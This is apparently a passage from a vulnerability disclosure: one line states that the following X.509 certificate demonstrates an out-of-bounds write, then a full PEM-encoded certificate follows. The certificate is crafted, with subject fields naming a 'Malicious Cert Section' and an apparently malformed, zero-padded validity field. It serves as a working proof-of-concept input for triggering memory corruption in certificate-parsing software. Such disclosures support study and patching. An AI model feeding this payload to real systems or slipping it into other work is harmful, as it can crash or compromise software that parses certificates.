Proof of Concept:
The following x509 certificate demonstrates the out of bounds write:
-----BEGIN CERTIFICATE-----
MIIEpDCCA4ygAwIBAgIJAJzu8r6u6eBcMA0GCSqGSIb3DQEBBQUAMIHDMQswCQYD
VQQGEwJERTEcMBoGA1UECAwTTm9yZHJoZWluLVdlc3RmYWxlbjEQMA4GA1UEBwwH
S8ODwrZsbjEUMBIGA1UECgwLU2VrdGlvbkVpbnMxHzAdBgNVBAsMFk1hbGljaW91
cyBDZXJ0IFNlY3Rpb24xITAfBgNVBAMMGG1hbGljaW91cy5zZWt0aW9uZWlucy5k
ZTEqMCgGCSqGSIb3DQEJARYbc3RlZmFuLmVzc2VyQHNla3Rpb25laW5zLmRlMHUY
ZDE5NzAwMTAxMDAwMDAwWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAXDTE0MTEyODExMzkzNVowgcMxCzAJBgNVBAYTAkRFMRwwGgYDVQQIDBNO
b3JkcmhlaW4tV2VzdGZhbGVuMRAwDgYDVQQHDAdLw4PCtmxuMRQwEgYDVQQKDAtT
ZWt0aW9uRWluczEfMB0GA1UECwwWTWFsaWNpb3VzIENlcnQgU2VjdGlvbjEhMB8G
A1UEAwwYbWFsaWNpb3VzLnNla3Rpb25laW5zLmRlMSowKAYJKoZIhvcNAQkBFhtz
dGVmYW4uZXNzZXJAc2VrdGlvbmVpbnMuZGUwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDDAf3hl7JY0XcFniyEJpSSDqn0OqBr6QP65usJPRt/8PaDoqBu
wEYT/Na+6fsgPjC0uK9DZgWg2tHWWoanSblAMoz5PH6Z+S4SHRZ7e2dDIjPjdhjh
0mLg2UMO5yp0V797Ggs9lNt6JRfH81MN2obXWs4NtztLMuD6egqpr8dDbr34aOs8
pkdui5UawTZksy5pLPHq5cMhFGm06v65CLo0V2Pd9+KAokPrPcN5KLKebz7mLpk6
SMeEXOKP4idEqxyQ7O7fBuHMedsQhu+prY3si3BUyKfQtP5CZnX2bp0wKHxX12DX
1nfFIt9DbGvHTcyOuN+nZLPBm3vWxntyIIvVAgMBAAGjQjBAMAkGA1UdEwQCMAAw
EQYJYIZIAYb4QgEBBAQDAgeAMAsGA1UdDwQEAwIFoDATBgNVHSUEDDAKBggrBgEF
BQcDAjANBgkqhkiG9w0BAQUFAAOCAQEAG0fZYYCTbdj1XYc+1SnoaPR+vI8C8CaD
8+0UYhdnyU4gga0BAcDrY9e94eEAu6ZqycF6FjLqXXdAboppWocr6T6GD1x33Ckl
VArzG/KxQohGD2JeqkhIMlDomxHO7ka39+Oa8i2vWLVyjU8AZvWMAruHa4EENyG7
lW2AagaFKFCr9TnXTfrdxGVEbv7KVQ6bdhg5p5SjpWH1+Mq03uR3ZXPBYdyV8319
o0lVj1KFI2DCL/liWisJRoof+1cR35Ctd0wYBcpB6TZslMcOPl76dwKwJgeJo2Qg
Zsfmc2vC1/qOlNuNq/0TzzkVGv8ETT3CgaU+UXe4XOVvkccebJn2dg==
-----END CERTIFICATE-----